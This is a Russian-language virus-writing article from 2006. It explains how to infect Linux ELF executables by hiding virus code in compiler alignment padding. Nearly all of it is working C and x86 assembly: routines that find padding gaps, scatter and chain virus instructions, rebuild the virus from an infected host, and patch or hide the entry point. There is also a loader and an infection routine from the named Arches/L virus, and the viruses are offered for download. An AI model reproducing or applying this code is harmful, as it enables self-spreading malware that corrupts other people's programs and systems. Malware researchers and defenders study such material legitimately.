Заражение ELF-файлов с использованием выравнивания функций для Linux
herm1t
Август 2006
[
Вернуться к списку] [
Комментарии (0)]
Введение
Не так давно я прочитал две статьи посвященные довольно занятному методу заражения ELF-файлов [1,2], о котором мы с вами и поговорим. Удивительно, но инструменты представленные Z0mbie и Ares предназначены для внедрения троянов, а вирусов, использующих эту технологию я пока не видел, хотя может быть, не очень-то внимательно смотрел. Ж-) Метод необычен и имеет, как преимущества, так и недостатки, но давайте обо всем по порядку.
Для увеличения производительности кода компилятор выравнивает функции, циклы, обращения к данным и стеку на границу кратную степеням двойки. Опции выраниваня gcc можно посмотреть `cc1 --help`, нас же интересует то, как все это выглядит в коде. Посмотрим:
805cb99: 89 0d 10 0e 0e 08 mov %ecx,0x80e0e10
805cb9f: 89 ec mov %ebp,%esp
805cba1: 5d pop %ebp ; здесь закончилась
805cba2: c3 ret ; одна функция
805cba3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ; *выравнивание*
805cba9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi ; *выравнивание*
805cbb0: 55 push %ebp ; здесь началась следующая
805cbb1: 89 e5 mov %esp,%ebp
Целых тринадцать байт только в одной функции! Именно в эти островки свободного места мы и будем писать наш код. Заражать файл будем следующим образом:
- Достаем наш код из памяти текущего процесса
- Убираем из кода все команды перехода-связки
- Находим жертву
- Открываем жертву, отображаем в память, проверяем, находим секцию .text
- Находим в ней все островки свободного места
- Попытаемся вставить наш код инструкция за инструкцией в найденные островки, связывая их командами перехода (jmp near)
- Исправляем в нашем коде все команды условного и безусловного переходов (jmp/jcc/call)
- Исправляем заголовки или код жертвы, таким образом, чтобы при запуске вирус получил управление
Что получится в результате? Вот так выглядит вирусный загрузчик вставленный в bash:
805c1f3: 60 pusha
805c1f4: 68 78 65 00 00 push $0x6578
805c1f9: e9 25 03 00 00 jmp 805c523 ---+
....... .............. .................. |
805c523: 68 6c 66 2f 65 push $0x652f666c <--+
805c528: e9 1b 02 00 00 jmp 805c748 ---+
....... .............. .................. |
805c748: e9 c6 00 00 00 jmp 805c813 <==|
805c74d: 90 nop |
805c74e: 90 nop |
805c74f: 90 nop |
....... .............. .................. |
805c813: 68 63 2f 73 65 push $0x65732f63 <--+
805c818: e9 06 03 00 00 jmp 805cb23 ---+
....... .............. .................. |
805cb23: 68 2f 70 72 6f push $0x6f72702f <--+
805cb28: 6a 05 push $0x5
805cb2a: 58 pop %eax
805cb2b: e9 73 00 00 00 jmp 805cba3 ---+
|
....... .............. ..................
....... .............. ..................
8060708: e9 47 01 00 00 jmp 8060854 ---+
806070d: 90 nop |
806070e: 90 nop |
806070f: 90 nop |
....... .............. .................. |
8060854: 68 10 b5 05 08 push $0x805b510 <--+
8060859: c3 ret
Новая точка входа: 0x805c1f3
Старая точка входа: 0x805b510
Рассмотрим каждый шаг по отдельности.
Поиск свободного места
Для начала достанем из binutils (файл gas/config/tc-i386.c) список инструкций используемых для выравнивания:
{0x90}; /* nop */
{0x89,0xf6}; /* movl %esi,%esi */
{0x8d,0x76,0x00}; /* leal 0(%esi),%esi */
{0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */
{0x90, /* nop */
0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */
{0x8d,0xb6,0x00,0x00,0x00,0x00}; /* leal 0L(%esi),%esi */
{0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */
{0x90, /* nop */
0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */
{0x89,0xf6, /* movl %esi,%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0x8d,0x76,0x00, /* leal 0(%esi),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0x8d,0x74,0x26,0x00, /* leal 0(%esi,1),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */
0x8d,0xbf,0x00,0x00,0x00,0x00}; /* leal 0L(%edi),%edi */
{0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0x8d,0xb4,0x26,0x00,0x00,0x00,0x00, /* leal 0L(%esi,1),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0xeb,0x0d,0x90,0x90,0x90,0x90,0x90, /* jmp .+15; lotsa nops */
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
Искать эти сигнатуры будем при помощи их контрольной суммы и длины, это сократит размер таблицы. Для того, чтобы снизить количество ложных совпадений мы установим следующие ограничения:
- Участок который мы собираемся использовать расположен в секции .text.
- Если это не jmp .+15/nop/..., то ему должна предшествовать команда RET.
- Участок начинается на границе инструкции
- Найденый участок за вычетом команд RET/JMP должен быть не менее 6 байт (в конце каждого участка, кроме одной или нескольких наших инструкций будет еще команда "jmp near" на начало следующего участка).
В Infelf используется более сложный алгоритм поиска, но и наш метод дает неплохой результат, а памяти и времени требует меньше.
Для того, чтобы выполнялось условие 3 будем использовать дизассемблер длин, например mlde32 от uNdErX. Найденые островки сохраним в односвязном списке отсортированом по смещениям:
typedef struct _island island_t;
struct __attribute__((packed)) _island {
uint32_t offset; /* смещение */
uint32_t length; /* длина */
island_t *next; /* следующий элемент списка */
};
Сигнатуры будем хранить в массиве patterns:
struct {
int length; /* длина */
/* смещение внутри участка найденного по сигнатуре,
начиная с которого можно размещать свой код (1) */
int shift;
uint32_t crc32; /* контрольная сумма */
} patterns[] = {
{15, 1,0x11d50a7f},
{14, 1,0xe4ad564a},
{15, 2,0xd5cae9dc}, // EB 0D 90 90 ...
{13, 1,0xd6b6dcfd},
{12, 1,0x19fbc1f4},
{11, 1,0x34a6685b},
{10, 1,0x74d8dd25},
{9, 1,0x6ed89f27},
{8, 1,0xb7109f48},
{7, 1,0x5d30a0da}, // C3 8D B6 00 00 00 00
};
(1) patterns.shift нам необходим, для того, чтобы соблюсти четвертое условие. Первые байты сигнатур либо C3 (RET), либо EB 0D (jmp .+15), которые мы не должны затирать. Поэтому для того, чтобы получить смещение и размер свободного участка добавим shift к смещению и вычтем из длины.
Вот код процедуры поиска на Си:
island_t *islands = NULL, *p, *tail;
unsigned char *ptr = m + text_offset;
int op_len;
while (ptr < m + text_offset + text_size) {
for (i = 0; i < 10; i++)
if (crc32(ptr, patterns[i].length) == patterns[i].crc32) {
p = (island_t*)malloc(sizeof(island_t));
p->offset = (uint32_t)(ptr + patterns[i].shift);
p->length = patterns[i].length - patterns[i].shift;
p->next = NULL;
if (islands == NULL)
islands = p;
else
tail->next = p;
tail = p;
ptr += patterns[i].length;
continue;
}
if ((op_len = mlde32(ptr)) <= 0) {
fprintf(stderr, "Illegal instruction!\n");
return 2;
}
ptr += op_len;
}
Для того, чтобы выполнялось наше первое условие нам необходимо знать смещение секциии .text в файле, ее размер и адрес. Просмотрим заголовки файла. Поле e_shstrndx в заголовке ELF-файла содержит индекс секции таблицы строк в таблице секций, а e_shnum - количество секций. Нас интересуют следующие поля элементов таблицы секций:
- sh_name
- смещение в таблице строк на имя секции
- sh_offset
- смещение секции в файле
- sh_addr
- адрес секции в памяти
- sh_size
- размер секции
Код на Си для поиска секции .text:
// m - указатель на отображение файла в памяти
Elf32_Ehdr *ehdr = (Elf32_Ehdr*)m;
Elf32_Shdr *shdr = (Elf32_Shdr*)(m + ehdr->e_shoff), *s;
uint32_t strtab, text_addr, text_size, text_offset = 0;
char *name;
int i;
// проверим есть ли в файле таблица строк
if (ehdr->e_shstrndx != SHN_UNDEF) {
// получим смещение таблицы строк
strtab = shdr[ehdr->e_shstrndx].sh_offset;
// просмотрим все заголовки секций
for (i = 0, s = shdr; i < ehdr->e_shnum; i++, s++) {
name = m + strtab + s->sh_name;
// ищем секцию с именем .text
if (!strncmp(name, ".text", 5)) {
text_addr = s->sh_addr;
text_size = s->sh_size;
text_offset = s->sh_offset;
break;
}
}
}
Полный код утилиты fpstat, которая выводит статистику по найденым свободным островкам в файле находится в приложении к статье.
Вставка кода
Предположим, что все инструкции вируса уже сохранены в списке стуктур code, следующего вида:
typedef struct _code code_t;
struct __attribute__((packed)) _code {
uint8_t *src; /* адрес в памяти */
uint8_t *dst; /* адрес в жертве */
uint32_t len; /* длина инструкции */
uint8_t *jmpto; /* адрес перехода для CALL/JMP/JCC или 0 */
code_t *next; /* следующая структура в списке */
};
И нам остается только вставить как можно больше команд в каждый островок, заполнить поле "dst" структур "code_t", связать островки джампами и исправить адреса переходов. Приступим:
island_t *i;
code_t *c;
int n, l;
for (i = islands, l = 0, c = code; c != NULL; )
// есть ли в текущем островке место для этой команды
// (с учетом jmp near в конце островка)?
if (l + c->len <= (i->length - 5)) {
// сохраним адрес
c->dst = i->offset + l;
// скопируем команду
memcpy(c->dst, c->src, c->len);
// увеличим счетчик использованного места для
// текущего островка
l += c->len;
// перейдем к следующей команде
c = c->next;
} else {
// ... нет, места больше нет
// забьем оставшуюся часть NOP'ами
for (n = l; n < i->length; n++)
*(uint8_t*)(i->offset + n) = 0x90;
// если у нас есть еще островки, допишем jmp near
// на следующий островок
if (i->next != NULL) {
*((uint8_t *)(i->offset + l)) = 0xe9;
*((uint32_t*)(i->offset + l + 1)) = i->next->offset - i->offset - l - 5;
} else
// места не осталось совсем, этот файл мы не заразим...
exit(2);
// попытаемся записать эту же команду
// в следующий остовок
i = i->next;
l = 0;
}
Исправляем адреса переходов:
for (c = code; c != NULL; c = c->next)
// для каждой команды с ненулевым адресом перехода (jmp/call/jcc)
if (c->jmpto != 0) {
// найдем команду с этим адресом
for (d = code; d != NULL; d = d->next)
if (c->jmpto == d->src) {
// исправим адрес в файле
*((uint32_t*)(c->dst + c->len - 4)) = d->dst - c->dst - c->len;
break;
}
// не нашли Ж-( в программе переход неизвестно куда
// непременно вызовет ошибку. лучше прервемся пока не поздно...
if (d == NULL)
exit(2);
}
Реконструируем свой код
Вот мы и подошли к последней и наиболее заебистой части технологии: один файл мы уже заразили и для того, чтобы заразить следующий нам ннеобходимо найти свой собственный код раскиданный по всему файлу, собрать его и убрать из него переходы-связки. Для этого нам понадобится дизассемблер длин, точка входа в вирус (с нее мы начнем дизассемблирование) и метка в конце вируса обозначающая, что пора остановиться. Для определения собственной точки входа мы не можем воспользоваться традиционной вирусной мантрой:
virus_start: pusha
...
call delta
delta: pop ebp
sub ebp, (delta - virus_start)
Потому что все три команды (не говоря уж о предыдущих) могут оказаться в сотнях байт друг от друга, поэтому собственную точку входа будем записывать в тело вируса на этапе заражения. Чтобы определить куда именно, выберем команду, которая гарантированно не встретиться в нашем коде, например "mov esp, ?", вот так:
mov eax, esp ; сохраним esp
mov esp, virus_start ; сюда будет записана
; новая точка входа
mov [ebp + virus_entry], esp ; сохраним в переменной
mov esp, eax ; востановим esp
А инструкция HLT послужит сигналом дизассемблеру, что вирус кончился и пора вернуть результат. Есть еще одна похожая проблема: По окончанию работы вирус должен вернуть управление в зараженную программу, если для этого используется команда "jmp near" мы должны, как-то отличить ее от остальных, чтобы дизассемблер, не перешел по ней к основной программе. Можно, к примеру, этот JMP расположить непосредственно перед HLT и добавить соответствующую проверку. А можно вообще использовать не JMP, а PUSH addr/RET (этот вариант мы тоже рассмотрим).
code_t *code = NULL, *code_ret = NULL, code_vep = NULL;
void reassemble(uint8_t *ptr) {
code_t *c, *q;
int op_len;
for (;;) {
// HLT
if (*ptr == 0xf4)
return;
// команда с таким смещением уже в списке?
for (c = code; c != NULL; c = c->next)
if (c->src == ptr)
return;
// получим длину
op_len = mlde32(ptr);
// неправильный опкод
if (op_len <= 0)
return;
// заполняем новый элемент списка
c = (code_t*)malloc(sizeof(code_t));
c->src = ptr;
c->jmpto = 0;
c->len = op_len;
c->next = NULL;
// сортировка вставкой по возрастанию адресов
if (code == NULL || c->src < code->src) {
c->next = code;
code = c;
} else {
q = code;
while (q->next != NULL && q->next->src < c->src)
q = q->next;
c->next = q->next;
q->next = c;
}
// RET/RETN ?
if (*ptr == 0xc3 || *ptr == 0xc2)
return;
// запомним указатель на этот элемент, потом запишем
// в аргумент команды новую точку входа
// MOV ESP, ?
if (*ptr == 0xbc)
code_vep = c;
// CALL/JMP/Jcc ?
if (*ptr == 0xe8 || *ptr == 0xe9 || (*ptr == 0x0f && (*(ptr + 1) & 0xf0) == 0x80)) {
// вычисляем адрес перехода
c->jmpto = ptr + op_len + *((uint32_t*)(ptr + op_len - 4));
// jmp?
if (*ptr == 0xe9) {
// если следом идет HLT, то это "jmp old_entry_point"
// запомним адрес этого элемента и увеличим длину,
// чтобы hlt скопировался вместе с jmp'ом в один блок
if (*(ptr + 5) == 0xf4) {
code_ret = c;
c->jmpto = 0;
c->len++;
} else {
// перейдем к вычисленному адресу
ptr = c->jmpto;
continue;
}
} else {
// CALL/JCC
// вызовем себя рекурсивно. выход из рекурсии либо
// по RET, либо наткнемся на ранее дизассемблированную
// команду, либо дойдем до конца вируса
reassemble(c->jmpto);
}
}
// перейдем к следующей команде
ptr += op_len;
}
}
reassemble(virus_entry);
Код вируса не должен содержать команд JMP/Jcc SHORT,LOOP,LOOPxx,JCXZ. Весьма вероятно, что при вставке адреса перехода для этих команд выйдут за диапазон +-128 байт. Мы конечно можем заменить вышеперечисленные команды их NEAR эквивалентами во время исполнения, но подобные замены имеют смысл только в том случае, если мы намерены не только разворрачивать "короткие" команды в "длинные", но и наооборот (иначе код производящий замены выполнится один раз и более нам не потребуется). Для многопроходной же оптимизации кода у нас просто недостаточно ресурсов.
Теперь уберем из реконструированного кода переходы-связки. Так как список отсортирован, достаточно проверить не указывает ли jmp на следующую команду в списке, если да, то его можно удалять. Вот так:
for (prev = code, c = code->next; c->next != NULL; c = c->next)
if (c->src[0] != 0xe9 || c->jmpto != c->next->src) {
prev->next = c;
prev = c;
}
prev->next = c;
Исправляем заголовки
Сделать осталось совсем немного, сохранить нужные адреса в теле вируса и исправить заголовк ELF-файла, чтобы точка входа указывала на начало вируса. Проделаем все необходимые вычисления:
#define DST2VADDR(x) (x - m - text_offset + text_addr)
// code - это первая команда вируса, code->dst - новая точка входа
// сохраним ее в теле вируса (для дизассемблера)
// указатель на "mov esp, " (code_vep)
// мы запомнили на этапе дизассемблирования
*((uint32_t*)(code_vep->dst + 1)) = DST2VADDR(code->dst);
// запишем аргумент jmp для перехода на старую точку входа
// указатель на команду перехода (code_ret)
// мы запомнили на этапе дизассемблирования
*((uint32_t*)(code_ret->dst + 1)) =
ehdr->e_entry - DST2VADDR(code_ret->dst) - 5;
ehdr->e_entry = DST2VADDR(code->dst);
Что еще можно сделать?
К вышеописанной процедуре заражения очень легко приделать EPO (скрытие точки входа), для этого, в функции поиска свободного места (все равно ведь мы просматриваем файл, так от чего бы заодно не найти инструкцию, к которой можно прицепиться?) добавим следующий фрагмент:
uint8_t *firstcall = NULL;
//...
if (firstcall == 0 && *ptr == 0xe8)
firstacall = ptr;
for (i = 0; i < 10; i++)
//...
И переделаем заключительную часть (описанную в предыдущей главе) следующим образом:
// не нашли ни одного CALL
if (firstcall == NULL)
exit(2);
// вычисляем и сохраняем в code_ret адрес, на который указывал CALL
*((uint32_t*)(code_ret->dst + 1)) = DST2VADDR(firstcall) +
*((uint32_t*)(firstcall + 1)) - DST2VADDR(code_ret->dst);
// исправим CALL так, чтобы он указывал на нас
*((uint32_t*)(firstcall + 1)) =
DST2VADDR(code->dst) - DST2VADDR(firstcall) - 5;
Все. Точку входа не трогаем. Естественно, это может быть не первый CALL, и не CALL, а к примеру JMP, и не JMP, а что вообще в голову придет. Но это - на ваше усмотрение.
Полностью или частями?
Посмотрим fpstat'ом сколько же места доступно в "типичном" ELF-файле:
$ for i in /bin/*;do ./fpstat $i;done|
> awk 'BEGIN{a=0;c=0}/^Total/{if($2>0){c++;a+=$2}}END{print a,c,a/c}'
35740 84 425,476
С /usr/bin дела обстоят немного лучше, но ненамного:
590556 1368 431,693
То есть, нашему вирусу честные программы готовы пожертвовать в среднем по 430 байт. Вирус конечно можно оптимизировать, но не настолько же. Можно ограничиться заражением только больших файлов таких, как bash, vim или php, а можно внедрять в файл загрузчик, а само тело вируса расположить в конце файла, как это предложено в [2]. Загрузчик должен:
- Открыть файл, в котором он находится (/proc/self/exe)
- Отобразить конец файла в память, начиная со смещения (длина файла - длина вируса), с правами PROT_READ|PROT_EXEC (смещение должно быть выравнено на границу страницы, иначе mmap вернет ошибку)
- Передать управление по адресу непосредственно следующему за загрузчиком, но в отображенном файле.
Вот так:
_start: pusha
; h = open ("/proc/self/exe", O_RDONLY);
push dword 0x00006578
push dword 0x652f666c
push dword 0x65732f63
push dword 0x6f72702f
movb eax, SYS_open
mov ebx, esp
movb ecx, 0
int 0x80
add esp, byte 16
or eax,eax
js near exit
xchg eax,ebx
; l = lseek (h, 0, 2);
movb eax, SYS_lseek
movb ecx, 0
movb edx, 2
int 0x80
or eax, eax
js near exit
; l -= VIRUS_SIZE;
sub eax, VIRUS_SIZE
; a = mmap(NULL,VIRUS_SIZE,PROT_READ|PROT_EXEC,MAP_PRIVATE,h,l);
mpush eax, ebx, MAP_PRIVATE, PROT_READ|PROT_EXEC,VIRUS_SIZE,0
mov ebx, esp
movb eax, SYS_mmap
int 0x80
add esp, byte 24
cmp eax, 0xfffff000
ja near exit
lea ebx, [eax + (run - _start)]
; на эту команду наш дизассемблер внимания не обратит (что к лучшему)
jmp ebx
; на выход. там дизассемблер остановится
jmp near exit
run:
; сохраним точку входа в вирус для дизассемблера (а можем отображать
; файл по фиксированному адресу и тогда, нужно просто заменить
; переменную self, на выбранный адрес)
push eax
...
pop edx
mov self, edx
push edx
call reassemble
...
exit: popa
; здесь, как и было обещано используем PUSH/RET для возврата
; в основную программу. HLT не нужен, дизассемблер выйдет по RET.
db 0x68
__code_ret: dd fake_host
ret
Кстати, обработка HLT и запись точки входа в тело вируса нам тоже теперь не понадобятся и эти фрагменты можно убрать:
//...
if (*ptr == 0xf4)
return;
//...
if (*ptr == 0xbc)
code_vep = c;
//...
if (*(ptr + 5) == 0xf4) {
code_ret = c;
c->len++;
}
//...
Теперь посмотрим, какие изменения необходимо проделать в самом вирусе:
- Выровнять файл, чтобы его длина была кратна размеру страницы
- Записать тело вируса в конец файла
- Сохранить старую точку входа в файле
- Поменять точку входа
Фрагмент вируса Arches/L:
; увеличим длину файла, чтобы она стала кратна размеру страницы
movb eax, SYS_ftruncate
mov ebx, file_handle
mov ecx, file_length
add ecx, 4095
and ecx, 0xfffff000
mov edi, ecx
int 0x80
or eax, eax
jnz near unmap
; передвинем указатель в конец
movb eax, SYS_lseek
movb edx, 0 ;SEEK_SET
int 0x80
cmp eax, ecx
jne near unmap
; запишем тело вируса
movb eax, SYS_write
mov ecx, self
mov edx, VIRUS_SIZE
int 0x80
cmp eax, edx
jne near unmap
; передвинем указатель на аргумент команды PUSH
movb eax, SYS_lseek
mov ecx, -VIRUS_SIZE + (__code_ret - _start)
movb edx, 1 ; SEEK_CUR
int 0x80
; запишем старую точку входа
mov esi, file_map
mov edx, [esi + e_entry]
push edx
mov eax, SYS_write
mov ebx, file_handle
mov ecx, esp
movb edx, 4
int 0x80
add esp, edx
cmp edx, eax
jne near unmap
; посчитаем новую точку входа
mov eax, code
mov eax, [eax + code_dst]
sub eax, esi
sub eax, text_offset
add eax, text_addr
; исправим точку входа в заголовке ELF-файла
mov [esi + e_entry], eax
Вот собственно и все, любые комментарии приветствуются. herm1t@vx.netlux.org
Скачать вирусы Arches,Arches/L и утилиты
Ссылки
- Z0mbie "Injected Evil", 2002
- Ares "Static linked ELF infecting", 2004
[
Вернуться к списку] [
Комментарии (0)]